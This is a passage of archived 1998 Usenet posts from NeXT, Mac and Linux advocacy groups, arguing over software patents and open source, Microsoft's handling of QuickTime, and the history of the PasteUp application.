certainly be sought (as in the M3 Fraunhoffer case). Infringement
action against deep-pockets OSS users would offer the opportunity for
substantial recovery.
There's even the possibility that Microsoft could encourage others to do
its dirty work for it. The Wang v. Netscape "save as" suit this spring
(dismissed by the court) certainly has a funny smell to it. Microsoft
acquired a 10% stake in Wang following the companies' own patent
skirmish. They had announced a strategic partnership earlier this year,
prior to the filing of the suit. The fact that Wang pursued its suit
against Netscape and Netscape alone (Microsoft's only significant
competition in the browser market) don't seem quite cricket.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
11:41pm up 1 day, 15:55, 3 users, load average: 0.17, 0.19, 0.16
From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Wed, 11 Nov 1998 18:42:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72clqk$3ij$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net>
In article <72b6c2$16v$9@blue.hex.net>,
cbbrowne@hex.net wrote:
> The producer of proprietary code is presumably controlling distribution
> of the code, and thus has control over reuse, and receives payment for
> such.
>
> It is not a tough problem in that circumstance to pay a royalty and
> receive a suitable "release" to permit using the patent in the resulting
> product. It is generally a reasonable idea to bury $2 for patent
> royalties into the price of each software license.
You are talking about a situation in which you know beforehand that there's a
relevant patent. The topic is what happens when a patent-holder informs you
of a patent violation in software that you are already distributing. When
that happens, whether your software is proprietary or open, you are not in a
position to negotiate royalties.
> In contrast, nobody controls the distribution of free software, and
> hence the value of releasing rights to the patent is indeterminate.
In the situation we're talking about, this is not necessarily a disadvantage
for OSS; more likely it's an advantage.
> And that's a different "cloud" to have hanging over you...
In other words, Fear, Uncertainty and Doubt.
I predict that the fear of patent suits will slow down the free software
movement far more than any actual patent suit will.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Wed, 11 Nov 1998 19:03:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72cn16$4lj$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <364930B0.5A8059C5@ix.netcom.com>
In article <364930B0.5A8059C5@ix.netcom.com>,
kmself@ix.netcom.com wrote:
> I'm not anti-patent, I don't believe software patents are bad, and I
> don't believe that software can be effectively seperated from all other
> inventions, particularly HW implementations of logic -- either in the
> granting or the enforcement of patents.
When the US started implementing patents, a timeout was used because after a
certain amount of time it could be assumed that the patented item would have
been invented anyway. That timeout was set at 17 years. For software, a
more appropriate timeout would be about 3 weeks. But with such a short
timeout, why go through the patent application process at all?
> I feel however, that the status
> quo puts OSS in a dangerous position. I believe the situation may be
> remedied, and that patents might even be an OSS developer's best
> friend.
Patent is to OSS developer as nuke is to peace-loving nation. You don't like
them, but you might choose to have one only because your enemy has one.
> I had coffee today with someone whose name would be recognized
> by some here, who had his first patent at age ten and now supports much
> of his OSS work on patent-derived income.
If he supported his OSS work with income from a part-time job killing people,
would that make killing people ok?
> Proprietary software tends not to put the user of software at risk in
> the event of infringement. Whether this is because of tradition or
> ready (and generally effective) access to the developer/vendor, I'm not
> sure.
Example please. I would like to know about a software patent suit that let
the users of said software continue to use it and install it on new systems.
If MS Windows got hit with a patent suit today, I suspect it would severely
affect companies using MS Windows, even though they weren't directly being
sued.
With the loads of new features crammed into newer MS software, how can you
know that there are no patent violations? I fear my company might be in
trouble because of reliance on MS software with its uncertain patent status.
I doubt we would be ready to handle it if MS were successfully sued and chose
to immediately desupport the software rather than meet the patentholder's
royalty demands.
> Proprietary software vendors tend to have a more substantial financial
> footing, and access to legal resources, than many OSS developers. While
> a patent suit could destroy an ISV, there is at least a fighting chance
> at persevering.
The EFF was chartered years ago to remedy this exact situation.
Free software will not be slowed by patent suits, only by fear of patent
suits.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Wed, 11 Nov 1998 19:13:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72cnjs$56o$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <3649AA3E.FC70F6B4@ieee.org>
In article <3649AA3E.FC70F6B4@ieee.org>,
Bruce Hayden <bhayden@ieee.org> wrote:
> brlewis@my-dejanews.com wrote:
>
> > Don't say that without explicitly stating that proprietary code has the same
> > potential vulnerability as OSS code. Any code can become a victim of that
> > abomination called "software patents".
>
> Well, not really. First, code for the most part needs to be new
> to become such a victim. Patents must be novel and nonobvious
[snip]
What I really meant to say was "either kind of code". OSS vs proprietary is
orthogonal to new vs. old, etc.
Your point about finding a knowledgeable attorney is well taken. I don't
think any of the people claiming that OSS is more vulnerable are patent
attorneys.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 19:14:21 +0000
Organization: Cadence Design System, Inc.
Message-ID: <3649E20D.7878D21E@cadence.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz> <36493AF7.BDFE3CAA@ix.netcom.com>
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To: kmself@ix.netcom.com
Karsten M. Self wrote:
>
> Ryurick, I'm afraid we're going to have to agree to disagree here.
>
> My position is this:
>
> - For better or worse, SW patents exist, in the US, Japan, and a number
> of European nations. I don't know specifics, IANAL.
No EU member state yet recognises software patents. The native European
industry does not want them to. The only people lobbying for it are
American companies who feel their collections of absurdities are going to
waste.
Japan generaly copies American laws (eg. they are first-to-invent, like the
US, whereas everywhere else is first-to-file), so you may be right there.
> - The status quo appears to put OSS at a disadvantage in the patent
> field.
>
> - Patents in and of themselves are neither good nor bad.
Software patents are not bad in themselves. What is bad is that companies
have been allowed to patent things which do not meet the criteria of
nonobviousness and novelty. It has become so expensive to challenge them
that noone bothers. They'd rather pay the cost of licensing or
cross-licensing. This is the situation that has to be changed.
Simon
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.lang.java.advocacy
Subject: Re: Question about this http://msdn.microsoft.com/developer/news/quicktime.htm
Date: 11 Nov 1998 19:48:54 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72cpn6$kih@newsb.netnews.att.com>
References: <yl3vhkop9bc.fsf@shell8.ba.best.com> <donarb-1011981003130001@192.168.0.2> <72bbhp$9cm$1@yama.mcc.ac.uk>
Originator: gupta@tlctest
Simon Cooke <simonc@jumper.org.uk> wrote:
>
>I've seen lots of QT movies with .qt extensions on the Internet.
>
>Besides "assumptions" aren't part of it. They made the changes specified.
>Quicktime magically started working. Oh my. Maybe, just maybe they're
>right.
>
>And guess what? They've documented it, so you can reproduce it yourself
>and prove they're not cheatingt.
And maybe they're wrong.
"QuickTime 'Problem' Update: Avie's Right, Microsoft's Wrong!"
http://www.mactimes.com/bin/news/index.pl?read=386
-arun gupta
From: physrmh@phys.canterbury.ac.nz (Ryurick M. Hristev)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 12 Nov 1998 09:20:15 +1300
Organization: University of Canterbury
Message-ID: <qv6vhkmgeww.fsf@physp43.phys.canterbury.ac.nz>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz> <36493AF7.BDFE3CAA@ix.netcom.com>
"Karsten M. Self" <kmself@ix.netcom.com> writes:
> Ryurick, I'm afraid we're going to have to agree to disagree here.
[...]
Is good to hear a reasonable voice in an *.advocacy group from time to
time :-) Ok I have to cool down. I think we agree on more than it
appears at first sight.
Maybe this discussion would have been inappropriate for the group we
are posting in but it may affect the Linux community directly.
> My position is this:
>
> - For better or worse, SW patents exist, in the US, Japan, and a number
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> of European nations. I don't know specifics, IANAL.
We agree here.
> - The status quo appears to put OSS at a disadvantage in the patent
> field.
Also agree.
> - Patents in and of themselves are neither good nor bad.
My opinion is that in general patents are good but if an only if
they are granted in a reasonable manner.
> - Patents can be the independent developer's best friend. They need to
> be used, and used well. Several folks in the OSS community have done
> quite well by IP.
Intellectual property in general is a larger and different beast. My
disagreement was with respect of the way software patents are granted.
> Your position appears to be "SW patents are bad and I'm going to pretend
> they don't exist". You're also welcome to turn off compiler warnings on
> your next build. It'll do you about as much good. My approach is that
> some things exist, and might be put to creative good use. If you'll
> take off your blinders here, you might find a rather interesting world
> with some tantalizing possibilities.
No, I am sorry, maybe I didn't express myself clearly enough.
My opinion is that the vast majority of software patents are so
trivial they shouldn't have been granted in the first place.
Second, in many cases they may be the expression of mathematical
formulas who AFAIK are not patentable anywhere
(RSA ? and still it is patented in US).
In either case the worst thing is that patents forbid the
*independent* reimplementation.
It is normal and understandable (individual/corporation) that the
entity who invented the thingy being patented should be allowed to
recoup its investment (in terms of time, money e.t.c.) and make a
*reasonable* benefit.
And this is where the patent system have gone *way* off hand:
- first is allows trivial things to be patented
- second it allows for far more than a reasonable benefit
Yes these things do exists but playing by the actual rules is of no
good. Is the *rules* who have to be *changed*. In this respect, what
Bruce Perens thinks (in his recently posted article) is IMHO bad
strategy even if it may be good tactics.
The actual status quo affects everybody and probably costs in terms
of billion of dollars (companies have to keep track of patents trough
databases, legal costs e.t.c.). Who's benefitting ? In the long term
probably nobody. Even if you may be the today winner with a hot
patent, tomorrow it will be somebody else and *you* will have to pay
royalties.
A side example, to make a comparison: recently a study done by
Economic Strategy Institute (Washington D.C.) states that US will
lose around 35 billion dollars due to its restrictions on cryptography
(source: Scientific American, October 1998, page 89).
Cheers,
--
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From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old
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<36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
<364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com>
<726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net>
<727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
<ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com>
<3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdca.home.com>
<36493710.E6588BA1@trilithon.com>
Message-ID: <0Dm22.450$rY3.970431@news.rdc1.sdca.home.com>
Date: Wed, 11 Nov 1998 20:40:28 GMT
NNTP-Posting-Date: Wed, 11 Nov 1998 12:40:28 PDT
Organization: @Home Network
In <36493710.E6588BA1@trilithon.com> Henry McGilton wrote:
> Rex Riley wrote:
> <<<< snip >>>>
[snip]
> You have not described what the 'Font Stuff' was . . .
>
It was splined handles overlay'n upon any font. Grab any handle and
stretcchhh. Voila new looking characters. It was pedantic so was limited
to banner, headline, etc... but most cool feature that demonstrated the
breadth of the paradigm PasteUp was creating. If you could see it, you
could touch it and almost do anything you wanted. Neat...
> * If you were in the code, it was demo'd with splines on
> * all the fonts. Grab any letter and contort it to your
> * hearts content. PasteUp, the demo, allowed complete
> * access to everything you could see & touch Ñ right down
> * to the font level. It was so cool.
> I worked on PasteUp right through Fall Seybold 1992, and I
> have no memory of any of the super-cool technology of which
> you write. Sorry, this is one of those incredible
> disconnects --- what you are describing is a completely
> different product from the PasteUp I worked on,
>
>
VoilÚ ... now you know the disconnect going the otherway when we received
the final product. It was 1/2 of the WYSIWYG paradigm, albeit 95% of the
functionality. The 1/2 which allowed you to change individual font
characters by splined handles was gone.
> and I know
> damned well that RightBrain didn't have the engineering
> resources to work on a completely different and parallel
> product, and at the same time keep it a complete secret to
> the extent that I [sitting twenty feet away from Glenn] was
> not aware of the existence of this top-secret cool project.
>
>
This isn't important... but confusing that we can't connect on the
technology points. (memory coming into better focus...) I bought a NeXT
from BusinessLand (booo) spring 1991 so it could very well have been fall
1991 demo to BCS .vs. 1992. As 1992 I was back at Columbia.edu and into my
second NeXTcube. IIRC, PasteUp didn't ship until middle of 1992? And the
demo stuff was waaayy before the ship.
> Disclaimer --- due to health-related problems,
>
>
There was tooo much pressure on RightBrain to ship PasteUp - _that_ was
insane.... :-)
>
> I gave some thought to the effects you described, and I
> believe that what you saw and are now describing were the
> scale and skew effects that you can apply to a text block
> [and in fact any graphical object at all] in PasteUp. In
> PasteUp, any given object --- including text blocks --- can
> be stretched, rotated, and skewed, in any arbitrary fashion,
> as long as it's a PostScript affine transform. That is, you
> can grab a text container and stretch or skew it in both x
> and y to obtain weird effects. You could rotate the container
> to any angle and still edit up the angle at any arbitrary
> rotation.
>
>
Those features are _in_ PasteUp and Thank you for the abstraction to work
with text freely!
[snip]
> The stuff to which you keep alluding --- namely mucking
> with the internals of the fonts themselves --- was in my
> not so humble opinion just not happening at RightBrain any
> time in the 1991-1992 era. And to think that such a
> leap could have been made in the single month after I
> left RightBrain definitely strains one's credulity.
>
>
given the pressures to ship... I doubt that it could've been hidden in the
code, either. I could understand simplifying the codebase by dropping it.
But you would've known it was there too. Confusing...
I don't know if mucking with the internals of the fonts themselves happened?
This is a quick conversation with someone in early 1990's about a feature
demo'd but not shipped. They explained it away as a licensing problem.
That's not important...
It's frustrating to not be able to convey what was demo'd. The font touch
and play was gone when the final product reached the consumer. This was a
40 min. demo Glenn gave which crashed alot. Glenn had optimized the app
reboot so it was almost instantaneous, so it impressed some unwashed masses
from NYC and MIT, even though a work-in-progress demo.
I was a most happy PasteUp customer... it remains one of 6 essentials in
LocalApps today.
-r
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 16:52:44 -0500
Organization: Mohawk Software
Message-ID: <364A072C.9341779B@mohawksoft.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
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Think about it. Linux is an "unhittable" target. As far as I know, there
are *no*patented or patentable technologies in the kernel. There is
sufficient prior art to make the kernel safe.
RedHat, Caldera, Suse, et all, all base distributions on many many
software packages. Sure Microsoft may take a few of them down, but, they
can't take them all down. There is virtually no way that any court
action can stop linux. All a distributor has to do is stop distributing
the package, and make a web link to a foreign web site that has it.
There are virtuall hundreds of software products that comprise Linux.
Most of which come from GNU or BSD. Microsoft can't sue all of them. Even
if they could it, many of these organizations are nonexistent. The very
same features tham make it difficult to sell into a fortune 500 company
make it impossable to take legal action.
Sheldon Gartner wrote:
> http://www.opensource.org/halloween2.html
>
> "The effect of patents and copyright in combatting Linux remains to be
> investigated."
>
> Dear gawd. Add that to the comment about "fighting the process not a
> single company" in previously leaked document and you get a cold chill
> up your spin.
>
> Someone needs to find _every_ software copyright and patent that
> The Borg owns. What's to stop M$ from simply breaking the GNU license
> and fighting the issue for years in court while they crush Linux's
> momentum?
>
> They've done similar things to Netscape, SUN and Novell. All M$ needs
> to do is stop Linux's momentum, and they've won. Nothing more.
>
> I _really_ don't want a chyk name Ripley to have to fight Aliens a few
> hundred years down the road with the M$ designed 'droids keep keep
> killing people becuase of "a feature" in their brain.
>
> -l
>
> ---
> ICQ#: 9393354 * "Whenever you find that you are on the side of
> the majority, it is time to reform." -- Mark Twain
--
Mohawk Software
Expert Solutions Now! Windows 95, Windows NT, UNIX,
Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
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<HTML>
Think about it. Linux is an "unhittable" target. As far as I know, there
are *no*patented or patentable technologies in the kernel. There is sufficient
prior art to make the kernel safe.
<P>RedHat, Caldera, Suse, et all, all base distributions on many many software
packages. Sure Microsoft may take a few of them down, but, they can't take
them all down. There is virtually no way that any court action can
stop linux. All a distributor has to do is stop distributing the package,
and make a web link to a foreign web site that has it.
<P>There are virtuall hundreds of software products that comprise Linux.
Most of which come from GNU or BSD. Microsoft can't sue all of them. Even
if they could it, many of these organizations are nonexistent. The very
same features tham make it difficult to sell into a fortune 500 company
make it impossable to take legal action.
<BR>
<P>Sheldon Gartner wrote:
<BLOCKQUOTE TYPE=CITE><A HREF="http://www.opensource.org/halloween2.html">http://www.opensource.org/halloween2.html</A>
<P>"The effect of patents and copyright in combatting Linux remains to
be
<BR>investigated."
<P>Dear gawd. Add that to the comment about "fighting the process not a
<BR>single company" in previously leaked document and you get a cold chill
<BR>up your spin.
<P>Someone needs to find _every_ software copyright and patent that
<BR>The Borg owns. What's to stop M$ from simply breaking the GNU license
<BR>and fighting the issue for years in court while they crush Linux's
<BR>momentum?
<P>They've done similar things to Netscape, SUN and Novell. All M$ needs
<BR>to do is stop Linux's momentum, and they've won. Nothing more.
<P>I _really_ don't want a chyk name Ripley to have to fight Aliens a few
<BR>hundred years down the road with the M$ designed 'droids keep keep
<BR>killing people becuase of "a feature" in their brain.
<P>-l
<P>---
<BR>ICQ#: 9393354 * "Whenever you find that you are on the side of
<BR>the majority, it is time to reform." -- Mark Twain</BLOCKQUOTE>
<PRE>--
Mohawk Software
Expert Solutions Now! Windows 95, Windows NT, UNIX,
Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com</PRE>
</HTML>
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From: Darin Johnson <darin@usa.net.nospam>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 11 Nov 1998 13:52:53 -800
Organization: Acuson Corp
Sender: darin@snowboard
Message-ID: <y1uhfw5lwwa.fsf@acuson.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com> <3648eb07.518540652@news.monmouth.com> <72cafk$osn$1@nnrp02.primenet.com> <3649cccf.7814957@news.monmouth.com>
User-Agent: Gnus/5.07004 (Pterodactyl Gnus v0.40) XEmacs/20.4 (Emerald)
WStreett@shell.monmouth.com (Wilbur Streett) writes:
> >The people who created the IBM PC were IBMers, so yes, they were
> >"mainframe jocks". Until IBM came alone, there was no "standard".
>
> CPM was the existing standard..
S-100 was a common hardware standard too. Actually, even after the
PC, there wasn't really a de-facto standard until it was *cloned*.
Ie, the IBM PC was just as one-of-a-kind as the Apple-II or TRS-80
until then.
--
Darin Johnson
Caution! Under no circumstances confuse the mesh with the
interleave operator, except under confusing circumstances!
Message-ID: <364A0FCF.C74FA148@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <F25z88.HII@t-fcn.net> <727j1c$mqm@newsb.netnews.att.com>
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Date: Wed, 11 Nov 1998 17:29:35 -0500
NNTP-Posting-Date: Wed, 11 Nov 1998 22:23:05 GMT
Organization: CWIX
gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
> So, you see, it is in Microsoft's interest to kill Quicktime.
> Otherwise there is one less reason for NT Server + IIS.
But as I pointed out, Quicktime is still very much around even though
the deal with MS was completed long ago.
Message-ID: <364A1064.72AFE339@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com>
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Date: Wed, 11 Nov 1998 17:32:04 -0500
NNTP-Posting-Date: Wed, 11 Nov 1998 22:25:34 GMT
Organization: CWIX
spagiola@my-dejanews.com wrote:
>
> Well, if not giving products away makes so much sense, then I'm sure MS would
> have no problems stopping from giving away MSIE from now on. Let's all tell
> MS -- tactfully, of course -- that "You aren't making any money with IE
> anyway, so why not throw in your lot with NS and do something jointly that
> you *both* might benefit from." If we go by your interpretation, then the DOJ
> is just trying to do MS a favor.
>
> Or it could be that it's YOU that'e entirely missing the point.
The way I read you is: It's OK for Apple, Netscape, Sun--whoever--to
give away software to achieve market dominance (or at least with the
goal of dominating a market.) But it *isn't* all right for MS to compete
by doing the very same thing. If that is your point, I agree--I've
missed it.
Message-ID: <364A1169.21BD68D5@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <36475d98.0@news.depaul.edu>
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Date: Wed, 11 Nov 1998 17:36:25 -0500
NNTP-Posting-Date: Wed, 11 Nov 1998 22:29:55 GMT
Organization: CWIX
Jonathan W Hendry wrote:
>
> What, exactly, is advantageous for Apple? Let's see: Microsoft
> would make playback software, Apple would make editing/creation
> software. Microsoft then gains yet another weapon to hold
> over Apple - they could cancel the Mac version of the playback
> software, making MacOS useless for creating/editing multimedia.
>
> Sounds like a *great* deal, Harker. Not for Apple though.
>
>
I'm not saying it is or would be advantageous to Apple at all. I was
merely characterizing another way of viewing the conversations.
Regardless of what MS said, Apple is free to do as it wishes.
Apparently, that is what Apple has done, since it got the money and the
browser from MS and is still doing what it wants to do with Quicktime.
It'd be very difficult for Tevanian to swear that MS threatened to
withhold its investment and the IE browser unless Apple killed
Quicktime, since Apple has in fact gotten both and is still doing
Quicktime.
Message-ID: <364A1212.A24ABF22@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <36475d98.0@news.depaul.edu> <rbarris-ya023280000911981416190001@206.82.216.1>
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Date: Wed, 11 Nov 1998 17:39:14 -0500
NNTP-Posting-Date: Wed, 11 Nov 1998 22:32:44 GMT
Organization: CWIX
Rob Barris wrote:
>
>
> But that's kind of like saying Apple doesn't make money on MacOS because
> it too is bundled with the computer.
>
> QuickTime drives a lot of hardware and software purchases that support
> the overall Mac platform. Just because Apple doesn't directly make money
> from the QT libraries themselves is to overlook this important point.
>
THe point still eludes me as Apple is still doing Quicktime as it wishes
to do it. Is this just a figment of my imagination, or has MS actually
"killed the baby"?
Message-ID: <364A12A5.4B55B381@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com>
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Date: Wed, 11 Nov 1998 17:41:41 -0500
NNTP-Posting-Date: Wed, 11 Nov 1998 22:35:10 GMT
Organization: CWIX
Rick wrote:
>
>
> That is just so much Micro$oft suck up crap. Apple has a superior
> technology. It has already encroached on MS's video playback technology.
> MS doesnt want to program to someone else's standards, so they are
> trying, once again, to squash superior technology with threats of
> coporate death. Why cant Micro$of, just once, throw in with someone
> else, insted of the other way around?
This whole thing reeks of Apple suck-up-whining crap to me. Apple got
the money and the browser from MS, and the baby wasn't "killed" in the
process...was it? Or have I missed something?
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: 9 Nov 1998 14:29:40 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com>
"Greg Anderson" <greg@afs.com> wrote:
>Lemmy wrote in message <364366BF.44BC800A@tone.ca>...
>>That's all well and good Greg but while your doing these calculations
>>and postings, your not getting the OS/X version of PasteUp out, which
>>I've been waiting for for months and which you promised for the end of
>>Oct. Get with it!!!
>
>"And what operating system would you care to run it on?" he responded
>ironically.
>
>Greg
Yes, it will.
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 09 Nov 1998 14:50:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <726vf2$8da$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <722lc8$bin@newsb.netnews.att.com> <3644E1E5.807416B5@home.com>
Ari <arikounavis@home.com> wrote:
> I've got Windows 1.0, maybe I can post it somewhere? It's kinda eery
> seeing the Micro-Soft logo as it loads up :)
Does it say "resistance is futile" in small print underneath?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <364A13C0.4A3634EB@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
